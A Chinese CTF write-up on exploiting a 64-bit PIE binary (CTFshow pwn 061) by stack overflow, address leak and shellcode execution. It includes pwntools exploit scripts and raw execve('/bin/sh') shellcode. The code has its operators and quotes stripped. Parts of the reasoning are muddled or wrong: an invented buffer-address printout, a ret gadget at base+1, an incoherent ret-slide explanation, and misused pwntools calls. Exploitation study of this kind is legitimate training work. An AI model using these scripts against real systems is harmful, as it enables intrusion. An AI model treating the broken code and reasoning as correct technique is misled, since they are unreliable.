PIE保护下64位程序栈溢出与Shellcode执行实战分析
1. 项目概述从一道题看PIE与Shellcode的攻防博弈最近在带新人入门二进制安全发现很多朋友在CTF的pwn题里一遇到64位程序加上PIE保护就有点发怵尤其是题目名字里带着“Ret2Shellcode”的时候心里更没底了。这不正好拿CTFshow平台上的这道“pwn 061”来当个典型例子咱们一起把它盘明白。这道题的核心就是在一个开启了PIEPosition-Independent Executable地址无关可执行文件保护的64位程序中完成一次栈溢出攻击并最终执行我们注入的Shellcode。听起来是不是有点矛盾PIE不是会让代码段的加载地址随机化吗那我们的Shellcode地址怎么确定这就是这道题巧妙的地方也是我们今天要攻克的重点。它完美地诠释了在现代化保护机制下传统的攻击技术如何通过巧妙的利用程序自身的逻辑来“借力打力”。无论你是刚接触pwn的新手还是想深化对Linux内存布局和漏洞利用理解的朋友跟着我走一遍这道题的完整分析、调试和利用过程你收获的绝不仅仅是一个flag更是一套应对此类混合保护场景的实战思路。2. 核心保护机制与漏洞点分析2.1 PIE保护到底改变了什么在开始动手之前我们必须先搞清楚对手——PIE保护——的底细。很多人知道PIE会让地址随机化但具体怎么个随机法对攻击有什么影响却模棱两可。简单来说一个没有PIE的程序它的.text代码段、.data数据段等主要段在内存中的加载基址是固定的通常是0x40000064位或0x804800032位。这意味着函数地址、全局变量地址都是“常数”我们可以直接在exp里写死。比如你可以在IDA里看到main函数地址是0x4005a7那么攻击时跳转这个地址准没错。但一旦开启PIE情况就变了。程序每次运行时所有这些段的加载基址都会加上一个随机偏移量ASLR slide。这个偏移量是页对齐的通常一页4KB即0x1000字节。所以虽然函数之间的相对偏移RVA, Relative Virtual Address不变但它们的绝对地址每次运行都不同。你在IDA静态分析时看到的main函数地址0x5555555545a7其中的0x555555554000就是IDA模拟的一个加载基址实际运行时可能是0x555555556000或0x555555558000。注意PIE通常和ASLRAddress Space Layout Randomization协同工作。PIE让程序本身的代码、数据地址随机ASLR让堆、栈、库的地址随机。在Linux下检查PIE通常用checksec工具看到PIE enabled就是开了。这对我们传统的利用方式造成了毁灭性打击Ret2libc困难你无法直接硬编码system或/bin/sh的地址。Ret2Shellcode看似不可能Shellcode通常放在栈上或堆上你需要知道它的确切地址才能跳转过去。栈地址本身有ASLR随机现在连跳转用的ret指令的地址在代码段也是随机的。那么这道题在开了PIE的情况下如何还能用Ret2Shellcode呢秘密就在于它给了我们一个“泄露”关键地址的机会。2.2 题目漏洞点栈溢出与关键输出用checksec看一下题目给的二进制文件假设叫pwn061checksec pwn061输出大概会是这样Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments信息量很大Arch: amd64-64-little: 64位程序小端序。RELRO: Partial: 部分保护通常GOT表可写这里可能不是重点。Stack: No canary found:栈上金丝雀Canary保护未开启。这是能进行栈溢出的前提条件如果有Canary在覆盖返回地址前会先检查一个随机值不一致则直接崩溃。NX: NX disabled:数据执行保护未开启。这是能执行Shellcode的关键如果NX开启栈和堆的内存页会被标记为“不可执行”即使你把Shellcode放上去跳过去执行也会触发段错误。本题关闭了NX意味着栈上的代码可以被执行。PIE: PIE enabled: 正如我们所料地址随机化开启。RWX: Has RWX segments: 存在可读、可写、可执行的段。这通常也印证了NX关闭某些段如栈具有执行权限。接下来用IDA Pro打开进行静态分析。找到main函数或者直接找有漏洞的函数通常叫vuln、echo之类的。经过分析我们很可能会发现一个类似这样的函数void vulnerable_function() { char buf[0x50]; // 假设缓冲区大小是0x50字节 printf(Your input: ); gets(buf); // 危险函数不检查输入长度 puts(buf); // 关键这里把输入的内容又打印了出来 return; }漏洞点一目了然gets(buf)。这个函数会一直读入输入直到遇到换行符或EOF完全不管buf数组是否能装得下。因此我们可以输入远超0x50字节的数据覆盖栈上buf之后的内容包括保存的寄存器如rbp和最重要的——函数返回地址return address。但请注意第二行puts(buf)。这不仅仅是一个简单的输出它是我们的突破口。因为puts在输出时会一直输出直到遇到字符串终止符\x00。如果我们精心构造输入让buf被我们注入的数据填满并且在buf的起始位置放置一个已知的、在程序地址空间内的指针那么puts就会将这个指针的值也作为字符串内容打印出来由于这个指针是程序运行时的真实地址我们就泄露了一个关键的运行时地址。2.3 利用思路总览基于以上分析我们的攻击链条Exploit Chain就清晰了第一次交互泄露地址利用栈溢出和puts输出泄露出一个位于程序代码段或数据段的地址。因为这个地址和程序的加载基址之间的偏移是固定的PIE只随机化基址不随机化相对偏移我们可以通过计算得到本次运行的实际加载基址。计算关键地址得到泄露地址后减去它在IDA中静态分析的偏移就得到了本次运行的实际加载基址。有了这个基址我们就可以计算出程序中任何函数或指令的运行时地址比如vulnerable_function的地址或者一条ret指令的地址。第二次交互执行Shellcode再次触发栈溢出。这次我们将返回地址覆盖为我们计算出的、程序中的一条ret指令的地址作为跳板并在栈上布置好我们的Shellcode。通过精心构造栈布局让程序在返回后能顺利跳转到栈上的Shellcode并执行。这里有一个关键技巧在64位下我们通常利用栈迁移Stack Pivot或连续的ret指令来调整栈指针rsp使其指向我们控制的缓冲区即Shellcode所在处。本题更倾向于使用后者。3. 动态调试与地址泄露实战理论说得再多不如调试器里走一遭。我强烈建议你跟着我一起做。3.1 确定偏移量首先我们需要知道从缓冲区buf开始到覆盖返回地址需要多少字节。这里有两种经典方法方法一Pattern Locator (Cyclic Pattern)使用pwntools的cyclic和cyclic_find功能。from pwn import * context.binary ./pwn061 p process(./pwn061) # 发送一个长字符串 payload cyclic(200) p.sendline(payload) p.wait() # 等待程序崩溃 core p.corefile # 查看崩溃时rip寄存器的值 rip_value core.rip # 查找这个值在我们pattern中的位置 offset cyclic_find(rip_value) print(fOffset to RIP: {offset})运行后你可能会得到类似offset 88的结果。这意味着buf起始位置到返回地址之间有88个字节。方法二手动计算与调试根据反汇编代码。如果buf大小是0x5080字节加上保存的rbp8字节就是88字节之后就是返回地址。这和方法一的结果相互印证。实操心得两种方法结合使用最稳妥。用方法一快速验证用方法二理解栈布局。务必记录下这个offset它是我们构造payload的基石。3.2 构造泄露Payload我们的目标是让puts帮我们泄露一个程序本身的地址。在栈上buf上方高地址方向通常会有保存的寄存器或局部变量其中可能包含指向代码段的指针。一个常见的目标是函数的返回地址本身。在vulnerable_function被调用时它的返回地址即调用vulnerable_function的下一条指令地址会被压入栈中这个地址就在代码段内。我们需要让puts输出时刚好能读到这个地址。但是buf和返回地址之间隔着rbp。puts遇到\x00会停止而内存中可能存在零字节。为了确保puts能一直输出到我们想要的地址我们需要用非零字符填满buf和rbp的位置。确保在返回地址的位置放置一个我们已知的、指向程序代码段/数据段的指针。但这个指针本身在第一次攻击时我们并不知道。等等这里有个逻辑循环。我们第一次攻击就是为了得到这个指针怎么能先放进去呢关键在于我们不是去覆盖返回地址为一个指针而是让puts去输出那些本来就存在于栈上、在我们输入缓冲区之后的、未被我们覆盖的原始内容。这些内容里很可能就包含有用的指针。所以第一次的payload结构应该是payload bA * offset bB * 8 bC * 8bA*offset: 填满buf。bB*8: 覆盖掉保存的rbp。bC*8:这里本应是返回地址。但第一次我们并不想控制程序流程而是让它正常返回或崩溃。我们真正的杀招是让puts在输出buf时由于没有遇到\x00会继续输出后面的B和栈上更后面的原始内容其中就可能包含有用的地址。但这样可能不够精确。更常见的做法是程序本身可能就有输出某个地址的指令比如printf(The address is: %p\n, some_variable)。但本题没有。所以我们需要利用栈上的残留数据。通过动态调试gdb在gets函数返回后、puts函数调用前查看栈内存寻找buf结尾之后哪些位置存放着指向代码段的指针比如__libc_start_main的返回地址、main的地址等。假设我们发现在bufoffset16的位置即覆盖了返回地址后再往后两个指针的位置有一个指针0x5555555545a7。那么我们的第一次payload就可以这样构造填满buf和rbp然后用这个指针的地址注意是指向这个指针的地址即栈地址来覆盖返回地址不对这样会改变程序流。我们不应该覆盖返回地址而是应该让puts的输出长度刚好覆盖到那个指针的位置。实际上由于puts遇到\x00才停止我们只需要确保从buf开始到那个指针之前的内存都没有\x00。我们可以输入足够多的非零字符直到把那个指针本身也覆盖成非零字符吗不行那样会破坏指针值。我们需要的是让指针保持原样但让它前面的内存都没有\x00。这通常通过溢出buf覆盖掉rbp但不覆盖返回地址和后面的指针来实现。然后由于buf和rbp都被我们填满了非零字符puts就会一路输出直到遇到指针后面的第一个\x00从而将指针的值也打印出来。因此第一次交互的脚本雏形如下from pwn import * context.binary ./pwn061 context.log_level debug # 方便看输入输出 p process(./pwn061) # 或者远程连接 p remote(pwn.challenge.ctf.show, 12345) offset 88 # 假设我们之前算出的偏移 # 构造泄露payload leak_payload bA * offset bB * 8 # 这里只覆盖到rbp不覆盖返回地址。目的是让puts输出时能读到返回地址及之后的内容。 p.sendline(leak_payload) # 接收程序输出 output p.recvuntil(bYour input: ) # 接收提示语 output p.recvline() # 接收puts输出的我们输入的内容 print(fRaw output: {output})运行后output会是一长串AAAA...BBBB最后可能跟着一些乱码。这些乱码就是栈上的原始内存数据我们需要从中解析出有用的地址。3.3 解析泄露地址与计算基址假设我们接收到的输出最后8个字节64位是一个有效的地址0x5555555545a7。我们需要将它解析出来。# 假设我们确定泄露的地址在输出字符串的末尾8字节 leak_addr u64(output[-8:].ljust(8, b\x00)) print(fLeaked address: {hex(leak_addr)})u64是pwntools将字节串解包为64位整数的函数。.ljust(8, b\x00)是为了确保字节长度是8。接下来计算加载基址。我们需要知道泄露的地址在IDA中的对应值。用IDA打开二进制文件找到这个地址可能是什么。例如如果泄露的是main函数的返回地址你可以在IDA中看到main函数起始于0x5555555545a0IDA显示的基址是0x555555554000那么泄露的0x5555555545a7可能就是main7的地址。计算基址# 假设在IDA中泄露点对应的静态地址是 0x5555555545a7 # 这个地址是基于IDA默认基址 0x555555554000 的。 ida_base 0x555555554000 ida_leak_addr 0x5555555545a7 # 计算偏移 offset_in_binary ida_leak_addr - ida_base # 0x5a7 # 计算本次运行的实际基址 actual_base leak_addr - offset_in_binary print(fActual binary base address: {hex(actual_base)})现在actual_base就是本次运行时程序代码段的真实加载地址。有了它我们可以计算出任何我们需要的指令地址。注意事项解析泄露地址时要小心输出中的换行符、不可打印字符。pwntools的recvuntil和recvline可能会截断。有时需要recv(n)指定字节数或者用recv()配合sleep。多调试几次确保解析出的地址看起来是合理的通常在高位是0x55或0x56这是Linux下64位程序常见的地址区域。4. Shellcode构造与最终利用4.1 准备Shellcode既然NX关闭我们可以执行栈上的代码。我们准备一段执行execve(/bin/sh, 0, 0)的Shellcode。pwntools提供了方便的工具shellcode asm(shellcraft.sh()) # 或者更精简的amd64 shellcode shellcode b\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05建议使用shellcraft.sh()它自动适配当前架构。4.2 计算跳板地址我们现在能控制返回地址但不能直接跳转到栈地址因为栈地址也是随机的ASLR。我们需要跳转到一个已知的、在程序内部的地址。一个理想的选择是一条ret指令的地址。为什么是ret因为ret指令等价于pop rip它会将栈顶的内容弹出到指令指针寄存器rip。如果我们能控制栈上的内容就可以通过连续的ret指令来“滑行”到我们想要的位置。我们需要在二进制文件中找到一条ret指令操作码0xc3。用ROPgadget工具ROPgadget --binary ./pwn061 | grep ret或者在IDA中搜索c3。假设我们找到一条ret指令在IDA中的地址是0x555555554001这通常是.text段开头附近的一个ret。计算其运行时地址ret_addr actual_base (0x555555554001 - ida_base) # 即 actual_base 14.3 构造最终Payload我们的目标是让程序执行流跳转到我们放在栈上的Shellcode。假设我们通过溢出将Shellcode放在buf的起始位置。那么Shellcode的栈地址就是栈上某个位置。但我们不知道确切值。我们可以利用“栈喷”或“滑板”技术。我们在buf里大量填充ret指令的地址最后跟上Shellcode。这样当函数返回时第一次ret覆盖的返回地址跳转到我们找到的ret_addr。执行ret指令它从栈上弹出下一个值到rip。此时栈顶是我们填充的第二个ret_addr。于是又执行ret再弹出下一个ret_addr。...如此反复就像在ret指令上“滑行”栈指针rsp会不断向高地址移动。直到栈指针移动到我们放置Shellcode的位置。当再次执行ret时弹出的就是Shellcode的起始地址于是rip指向Shellcode程序开始执行我们的代码。因此最终的payload结构如下payload shellcode padding ret_addr * N shellcode_addr但这里有个问题shellcode_addrShellcode在栈上的地址我们依然不知道。然而在64位Linux中栈地址通常以0x7f或0x7e开头随机性相对较低。更重要的是我们可以利用第一次泄露的地址来推算栈地址吗有时可以如果泄露的地址本身就在栈上比如某个栈变量的地址。但本题泄露的通常是代码段地址。另一种更可靠的方法是我们不需要知道Shellcode的精确地址只需要让程序跳转到buf区域内的某个大致位置然后通过大量的nop指令0x90滑到Shellcode。这就是nop sled技术。改进后的payload结构payload asm(nop) * large_number shellcode padding ret_addr * N possible_stack_addrpossible_stack_addr是我们猜测的buf的大致地址。由于我们填充了大量的nop空操作指令只要跳转地址落在这片nop区域处理器就会一直执行nop直到遇到Shellcode。那么possible_stack_addr怎么猜我们可以用调试器运行程序多次观察buf的地址范围。通常这个范围不会变化太大ASLR的熵有限。或者我们可以利用程序本身输出的某些信息如果它有的话。本题中我们可能没有直接输出栈地址。但别忘了我们控制了rbp在函数序言prologue中有mov rbp, rsp之类的操作。如果我们能找到一个leave; ret的gadgetleave指令相当于mov rsp, rbp; pop rbp我们就可以通过控制rbp来间接控制rsp。这就是栈迁移Stack Pivot。不过本题可能不需要这么复杂因为题目设计通常会给出一条明路。经过对二进制文件的进一步分析我们可能会发现一个全局变量或者一个指针它存储着用户输入缓冲区的地址。如果能泄露出这个地址我们就能精确知道Shellcode的位置。这需要更细致的逆向。假设我们通过某种方式比如第二次溢出前程序打印了buf的地址得到了buf的地址为buf_addr。那么最终的利用脚本就清晰了from pwn import * context.binary ./pwn061 context.arch amd64 context.log_level debug # 第一部分泄露基址 p process(./pwn061) offset 88 leak_payload bA * offset bB * 8 p.sendline(leak_payload) p.recvuntil(bYour input: ) output p.recvline().strip() # 假设泄露的地址在输出的最后8字节 leak_addr u64(output[-8:].ljust(8, b\x00)) log.success(fLeaked address: {hex(leak_addr)}) # 计算基址 (假设泄露的是 main7IDA中为 0x5555555545a7) ida_base 0x555555554000 ida_leak 0x5555555545a7 offset_in_binary ida_leak - ida_base actual_base leak_addr - offset_in_binary log.success(fBinary base: {hex(actual_base)}) # 计算 ret 指令地址 (IDA中为 0x555555554001) ret_addr actual_base 1 # 第二部分获取栈地址 (假设程序有个函数能输出buf地址或者通过其他方式泄露) # 这里假设我们通过分析知道在第一次溢出后某个寄存器或栈上残留着指向buf附近的地址 # 为了示例我们假设通过调试发现 rdx 寄存器在某个时刻指向 buf0x20 # 我们需要找到一个 pop rdx; ret 的gadget来获取这个值但这比较复杂。 # 更简单的假设题目在第二次输入前直接打印了buf的地址。 # 我们模拟这种情况 p.recvuntil(bbuf address: ) buf_addr_str p.recvline().strip() buf_addr int(buf_addr_str, 16) log.success(fBuffer address: {hex(buf_addr)}) # 第三部分构造最终payload shellcode asm(shellcraft.sh()) # 构造 nop sled shellcode nop_sled asm(nop) * 0x100 payload nop_sled shellcode # 填充到返回地址 payload payload.ljust(offset, bC) # 覆盖 rbp (可以填充任意值) payload p64(0xdeadbeef) # 覆盖返回地址为 ret_addr开始滑行 payload p64(ret_addr) * 20 # 多次ret滑行 # 最后跳转到 nop sled 区域内的一个地址比如 buf_addr 0x50 payload p64(buf_addr 0x50) p.sendline(payload) p.interactive()5. 常见问题与调试技巧实录5.1 地址泄露失败或解析错误问题运行脚本后leak_addr打印出来是0x7fxxxxxxxxxx这样的库地址或者0x0。排查检查偏移量offset计算可能不准。用cyclic_find仔细核对。有时结构体对齐会导致额外填充。检查接收的数据用hexdump(output)或print(repr(output))查看原始输出确认泄露的字节是否在预期位置。可能因为换行符、字符串截断导致接收不完整。检查程序逻辑确认puts或输出函数是否真的输出了我们期望的内存区域。可能在gets后还有别的操作改变了栈内容。调试器观察在gets返回后、puts调用前下断点用gdb的x/40gx $rsp查看栈内存确认我们覆盖的区域和后面的原始数据。5.2 计算出的基址不合理问题actual_base不是页对齐的末尾三位不是0或者是一个明显错误的地址如0x0。排查泄露地址有误回到上一步确保泄露的地址是正确的程序代码段地址。代码段地址通常以0x55或0x56开头在x86_64 Linux下。IDA静态地址不对确认你在IDA中看到的泄露点地址是正确的。有时IDA的基址可能不是0x555555554000查看IDA的Edit - Segments - Rebase program。更可靠的方法是计算相对偏移泄露地址 - main的IDA地址 偏移然后实际泄露地址 - 偏移 实际main地址再根据main在二进制中的偏移算出基址。PIE与ASLR确保你的系统开启了ASLRcat /proc/sys/kernel/randomize_va_space输出2或1。PIE需要ASLR才能生效。5.3 最终Payload执行后崩溃或无反应问题成功泄露地址并发送最终payload后shell没有弹出程序崩溃SIGSEGV。排查栈对齐问题64位Linux系统在某些函数调用如通过glibc函数进入系统调用时要求栈指针rsp在调用时刻是16字节对齐的。我们的Shellcode可能破坏了这一点。解决方法是在Shellcode前添加一个ret指令来调整或者确保跳转到Shellcode时rsp是16字节对齐的。一个万金油方法是在Shellcode开头插入push rsp; pop rcx; and rcx, 0xf; sub rsp, rcx;之类的指令来手动对齐但更简单的是在Shellcode前多加一个retgadget。Shellcode自身问题使用pwntools的shellcraft.sh()生成的Shellcode一般是可靠的。可以单独测试写一个小C程序将Shellcode放入数组并执行看是否能弹出shell。跳转地址不准buf_addr可能计算有误或者ASLR导致栈地址变化较大。可以增大nop sled的长度比如从0x100增加到0x1000增加命中概率。内存权限虽然NX关闭但确保Shellcode所在的内存页确实有执行权限。可以用vmmap命令在gdb中查看。使用调试器跟踪在发送最终payload前attach上gdb单步跟踪执行流。观察ret指令滑行过程看rip是否最终跳转到了nop区域以及执行nop后是否顺利到达Shellcode。5.4 远程利用与本地差异问题本地打通了远程服务器上不行。排查环境差异远程libc版本、系统内核可能不同。但本题是Ret2Shellcode不依赖libc影响较小。主要检查栈布局、地址随机化程度是否差异巨大。网络延迟与接收远程通信可能有延迟或数据包分片。确保recv函数使用得当有时需要用recv(timeout1)或循环接收直到收到特定标志。pwntools的recvuntil通常很可靠。地址解析远程泄露的地址可能因为输出缓冲而包含额外字符。仔细处理接收到的字符串可能需要strip()或切片操作。利用脚本健壮性在关键步骤添加log.info()打印信息便于远程调试。考虑使用context.update(oslinux, archamd64)明确设置环境。5.5 利用脚本优化与通用化自动化偏移计算使用pwntools的ELF和ROP类可以简化。from pwn import * elf ELF(./pwn061) rop ROP(elf) offset cyclic_find(rop.search(cyclic(200))) # 自动查找偏移 ret_gadget rop.find_gadget([ret])[0] # 自动查找ret指令处理地址随机化pwntools的PwnLib可以配合泄露自动计算基址。# 假设泄露了一个指向 .text 段的地址 leak u64(p.recvline().strip().ljust(8, b\x00)) elf.address leak - elf.sym[main] # 如果泄露的是main地址 # 之后直接用 elf.sym[vuln] 或 elf.address offset稳健的Shellcode使用shellcraft.sh()是最简单的。如果空间有限可以寻找更短的Shellcode或者使用编码的Shellcode但需要解码器可能更占空间。这道“pwn 061”题目融合了栈溢出、地址泄露、PIE绕过和Shellcode执行多个知识点是入门现代pwn题的一个绝佳练习。它告诉我们即使面对地址随机化只要程序存在信息泄露的点我们就有机会化未知为已知最终达成利用。整个过程中动态调试gdb/pwndbg和静态分析IDA的结合至关重要而pwntools这样的自动化工具则能极大提升效率。希望这篇详细的拆解能帮你理顺思路下次遇到类似的题目能够自信地喊出“我知道怎么打了”